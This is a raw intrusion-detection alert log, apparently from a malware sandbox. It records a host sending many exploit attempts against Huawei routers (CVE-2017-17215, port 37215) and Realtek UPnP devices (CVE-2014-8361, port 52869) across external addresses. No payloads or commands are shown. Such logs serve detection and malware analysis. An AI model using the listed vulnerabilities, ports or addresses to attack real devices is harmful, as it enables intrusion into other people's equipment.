07/20/24-23:10:46.810541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39732	37215	192.168.2.15	41.251.199.58
07/20/24-23:10:51.933445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46636	52869	192.168.2.15	112.250.31.72
07/20/24-23:10:39.093478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45158	52869	192.168.2.15	220.239.248.79
07/20/24-23:11:06.663147	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43708	37215	192.168.2.15	104.55.110.105
07/20/24-23:10:51.920409	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47140	52869	192.168.2.15	100.180.255.242
07/20/24-23:10:43.788026	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45712	52869	192.168.2.15	172.149.150.175
07/20/24-23:10:41.221769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45274	37215	192.168.2.15	197.161.254.255
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39778	37215	192.168.2.15	157.227.212.197
07/20/24-23:10:56.073192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39726	37215	192.168.2.15	12.48.28.88
07/20/24-23:10:52.538470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47432	37215	192.168.2.15	197.23.76.28
07/20/24-23:10:41.221768	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46468	37215	192.168.2.15	157.37.222.176
07/20/24-23:10:42.248141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42288	37215	192.168.2.15	197.129.120.216
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52864	37215	192.168.2.15	197.62.85.198
07/20/24-23:10:41.232616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47306	37215	192.168.2.15	157.22.160.234
07/20/24-23:10:39.076267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43930	52869	192.168.2.15	154.64.3.25
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57328	37215	192.168.2.15	208.45.139.203
07/20/24-23:10:39.473095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38056	37215	192.168.2.15	157.113.132.47
07/20/24-23:10:52.070107	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53376	52869	192.168.2.15	157.33.175.112
07/20/24-23:10:52.521111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45182	37215	192.168.2.15	131.117.56.72
07/20/24-23:10:40.642616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53176	37215	192.168.2.15	197.176.162.29
07/20/24-23:10:43.092313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37538	52869	192.168.2.15	106.69.59.16
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35816	37215	192.168.2.15	193.248.3.188
07/20/24-23:10:52.004719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47702	52869	192.168.2.15	223.235.223.229
07/20/24-23:10:46.832505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53182	37215	192.168.2.15	41.78.213.186
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39436	37215	192.168.2.15	41.69.44.134
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39428	37215	192.168.2.15	169.37.171.79
07/20/24-23:10:59.012072	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36410	37215	192.168.2.15	197.83.45.92
07/20/24-23:10:40.163190	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36584	52869	192.168.2.15	89.186.152.105
07/20/24-23:10:52.563890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33714	37215	192.168.2.15	41.180.31.234
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37180	37215	192.168.2.15	41.92.156.169
07/20/24-23:10:52.517494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49566	37215	192.168.2.15	118.16.133.91
07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39906	37215	192.168.2.15	41.6.134.161
07/20/24-23:10:51.917508	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51836	52869	192.168.2.15	141.113.230.124
07/20/24-23:11:03.352491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42552	37215	192.168.2.15	197.130.219.154
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42874	37215	192.168.2.15	49.223.157.49
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45740	37215	192.168.2.15	136.207.85.124
07/20/24-23:10:59.094768	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44092	37215	192.168.2.15	47.48.207.49
07/20/24-23:10:47.587819	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48284	52869	192.168.2.15	47.72.19.180
07/20/24-23:10:42.630809	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56428	52869	192.168.2.15	126.171.98.117
07/20/24-23:10:51.967169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45058	52869	192.168.2.15	36.65.48.163
07/20/24-23:11:06.683012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51526	37215	192.168.2.15	197.235.68.13
07/20/24-23:10:40.616009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44222	37215	192.168.2.15	197.187.16.96
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59932	37215	192.168.2.15	41.230.50.79
07/20/24-23:11:06.689939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46648	37215	192.168.2.15	197.17.109.224
07/20/24-23:10:39.976697	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53954	52869	192.168.2.15	203.62.78.235
07/20/24-23:10:39.674300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55596	52869	192.168.2.15	185.59.206.11
07/20/24-23:10:47.680519	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55306	52869	192.168.2.15	75.64.8.241
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41156	37215	192.168.2.15	41.78.42.54
07/20/24-23:10:45.898672	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44780	52869	192.168.2.15	68.235.64.147
07/20/24-23:10:40.643381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40844	37215	192.168.2.15	170.219.73.31
07/20/24-23:10:56.011227	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60258	37215	192.168.2.15	157.239.134.129
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33648	37215	192.168.2.15	160.143.66.125
07/20/24-23:10:42.632104	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33060	52869	192.168.2.15	166.78.169.15
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60544	37215	192.168.2.15	157.62.18.139
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60906	37215	192.168.2.15	157.164.125.2
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60900	37215	192.168.2.15	41.249.230.34
07/20/24-23:10:59.032609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50742	37215	192.168.2.15	49.138.179.241
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41952	37215	192.168.2.15	41.238.110.13
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43954	37215	192.168.2.15	81.195.144.123
07/20/24-23:10:45.529756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42408	52869	192.168.2.15	116.188.33.5
07/20/24-23:10:56.073192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59016	37215	192.168.2.15	197.18.202.210
07/20/24-23:10:46.756315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54390	37215	192.168.2.15	157.43.171.195
07/20/24-23:10:49.377082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46062	37215	192.168.2.15	197.190.27.41
07/20/24-23:10:41.231186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35796	37215	192.168.2.15	197.52.14.1
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40774	37215	192.168.2.15	41.229.212.87
07/20/24-23:10:52.021520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37926	52869	192.168.2.15	68.232.135.127
07/20/24-23:10:46.756315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44882	37215	192.168.2.15	41.124.203.108
07/20/24-23:11:06.680205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42976	37215	192.168.2.15	157.138.232.152
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49376	37215	192.168.2.15	197.82.158.150
07/20/24-23:10:47.968210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51050	52869	192.168.2.15	110.195.69.132
07/20/24-23:10:46.726397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53846	37215	192.168.2.15	197.8.135.124
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49906	37215	192.168.2.15	62.146.200.25
07/20/24-23:10:39.486941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60356	37215	192.168.2.15	205.50.160.163
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48238	37215	192.168.2.15	157.162.58.122
07/20/24-23:10:42.661465	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37488	52869	192.168.2.15	89.186.152.105
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43322	37215	192.168.2.15	157.205.82.135
07/20/24-23:10:42.633392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43174	52869	192.168.2.15	222.31.20.54
07/20/24-23:10:49.380109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35852	37215	192.168.2.15	157.132.48.67
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40972	37215	192.168.2.15	49.55.180.63
07/20/24-23:10:48.347448	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45352	52869	192.168.2.15	178.162.187.51
07/20/24-23:10:51.908570	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51654	52869	192.168.2.15	217.179.58.161
07/20/24-23:10:43.431118	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51614	52869	192.168.2.15	199.248.104.114
07/20/24-23:11:03.382352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36134	37215	192.168.2.15	117.145.143.198
07/20/24-23:10:51.984755	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56148	52869	192.168.2.15	208.102.55.155
07/20/24-23:11:03.381593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56836	37215	192.168.2.15	197.117.110.31
07/20/24-23:10:43.238361	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48044	52869	192.168.2.15	166.150.32.219
07/20/24-23:10:43.571824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33912	52869	192.168.2.15	140.79.132.232
07/20/24-23:11:06.646713	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54358	37215	192.168.2.15	157.88.25.155
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43348	37215	192.168.2.15	41.40.87.15
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41228	37215	192.168.2.15	157.171.35.211
07/20/24-23:10:42.266163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41162	37215	192.168.2.15	41.86.2.56
07/20/24-23:10:46.836862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47994	37215	192.168.2.15	197.203.255.95
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59256	37215	192.168.2.15	197.248.202.177
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47072	37215	192.168.2.15	197.211.69.116
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47856	37215	192.168.2.15	197.132.48.110
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52532	37215	192.168.2.15	157.88.203.184
07/20/24-23:10:51.944865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56360	52869	192.168.2.15	92.38.222.42
07/20/24-23:10:51.991411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45368	52869	192.168.2.15	93.91.138.170
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54592	37215	192.168.2.15	197.12.117.52
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38862	37215	192.168.2.15	159.110.107.208
07/20/24-23:10:43.379931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37236	52869	192.168.2.15	144.224.217.126
07/20/24-23:10:44.594852	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47396	52869	192.168.2.15	92.18.13.170
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45120	37215	192.168.2.15	41.55.149.13
07/20/24-23:10:51.899861	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44112	52869	192.168.2.15	184.222.232.77
07/20/24-23:10:47.433416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34784	52869	192.168.2.15	129.202.137.125
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48172	37215	192.168.2.15	41.158.40.220
07/20/24-23:10:40.601389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43004	37215	192.168.2.15	65.120.250.13
07/20/24-23:10:42.629188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56574	52869	192.168.2.15	134.192.167.73
07/20/24-23:10:46.739331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49120	37215	192.168.2.15	41.112.198.128
07/20/24-23:10:44.769466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33484	52869	192.168.2.15	87.46.238.224
07/20/24-23:10:43.618992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36956	52869	192.168.2.15	126.29.154.162
07/20/24-23:10:45.176876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60190	52869	192.168.2.15	86.108.11.155
07/20/24-23:10:52.029204	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47918	52869	192.168.2.15	178.162.187.51
07/20/24-23:10:51.940743	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49504	52869	192.168.2.15	154.24.39.249
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47326	37215	192.168.2.15	109.80.96.21
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59400	37215	192.168.2.15	157.193.183.229
07/20/24-23:10:44.097327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44816	52869	192.168.2.15	120.182.174.145
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34500	37215	192.168.2.15	197.206.129.136
07/20/24-23:10:47.719201	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58156	52869	192.168.2.15	184.128.6.167
07/20/24-23:10:41.220637	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34358	37215	192.168.2.15	157.29.143.201
07/20/24-23:10:42.267551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39138	37215	192.168.2.15	197.162.237.45
07/20/24-23:10:44.037393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37734	52869	192.168.2.15	196.217.9.9
07/20/24-23:10:49.457364	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38524	37215	192.168.2.15	157.160.130.37
07/20/24-23:10:46.724339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38594	37215	192.168.2.15	157.54.166.57
07/20/24-23:10:46.750827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57454	37215	192.168.2.15	53.185.162.222
07/20/24-23:10:40.616009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41360	37215	192.168.2.15	41.130.45.123
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55578	37215	192.168.2.15	14.66.203.138
07/20/24-23:10:41.234520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51034	37215	192.168.2.15	83.200.83.92
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43258	37215	192.168.2.15	163.110.119.229
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47392	37215	192.168.2.15	157.37.146.4
07/20/24-23:11:06.712307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42490	37215	192.168.2.15	139.102.147.38
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55600	37215	192.168.2.15	84.144.64.84
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49194	37215	192.168.2.15	197.80.162.159
07/20/24-23:10:51.966763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32936	52869	192.168.2.15	222.44.99.94
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39720	37215	192.168.2.15	41.48.64.8
07/20/24-23:10:42.267551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41312	37215	192.168.2.15	63.125.89.15
07/20/24-23:10:40.662520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57238	37215	192.168.2.15	41.152.10.195
07/20/24-23:10:41.221769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42326	37215	192.168.2.15	197.142.98.9
07/20/24-23:10:42.625706	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48368	52869	192.168.2.15	169.249.196.201
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43624	37215	192.168.2.15	157.19.219.100
07/20/24-23:10:49.404246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37082	37215	192.168.2.15	157.186.57.123
07/20/24-23:10:47.950669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39012	52869	192.168.2.15	201.38.82.44
07/20/24-23:11:06.675236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47480	37215	192.168.2.15	41.21.81.252
07/20/24-23:10:39.488246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41310	37215	192.168.2.15	157.217.24.18
07/20/24-23:10:42.630640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41794	52869	192.168.2.15	189.209.128.109
07/20/24-23:10:51.970945	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45026	52869	192.168.2.15	200.10.220.119
07/20/24-23:10:48.709947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40876	52869	192.168.2.15	71.216.86.69
07/20/24-23:10:52.006529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34392	52869	192.168.2.15	159.7.254.101
07/20/24-23:10:51.967169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53856	52869	192.168.2.15	85.110.124.59
07/20/24-23:10:51.908570	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49966	52869	192.168.2.15	196.54.140.130
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38794	37215	192.168.2.15	197.254.121.226
07/20/24-23:10:56.002002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48826	37215	192.168.2.15	195.26.232.238
07/20/24-23:10:51.933445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42372	52869	192.168.2.15	197.33.21.86
07/20/24-23:10:49.450306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38718	37215	192.168.2.15	155.143.68.189
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59222	37215	192.168.2.15	157.239.43.174
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47842	37215	192.168.2.15	157.111.167.228
07/20/24-23:10:46.810541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52714	37215	192.168.2.15	197.223.194.254
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43032	37215	192.168.2.15	68.156.222.49
07/20/24-23:10:43.528132	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35106	52869	192.168.2.15	4.210.183.193
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51452	37215	192.168.2.15	197.25.251.89
07/20/24-23:10:41.241817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44914	37215	192.168.2.15	157.92.145.86
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41764	37215	192.168.2.15	157.174.248.251
07/20/24-23:10:39.171350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36118	52869	192.168.2.15	197.208.47.186
07/20/24-23:10:52.607833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33840	37215	192.168.2.15	157.128.113.181
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33178	37215	192.168.2.15	197.51.81.76
07/20/24-23:10:46.735704	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36416	37215	192.168.2.15	221.4.245.164
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54224	37215	192.168.2.15	51.252.148.88
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51680	37215	192.168.2.15	157.30.88.50
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53948	37215	192.168.2.15	41.160.8.38
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57408	37215	192.168.2.15	197.147.174.34
07/20/24-23:10:41.220792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34304	37215	192.168.2.15	208.220.26.36
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37552	37215	192.168.2.15	41.74.238.245
07/20/24-23:10:42.250388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53246	37215	192.168.2.15	41.176.42.114
07/20/24-23:10:46.778936	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40236	37215	192.168.2.15	41.179.22.106
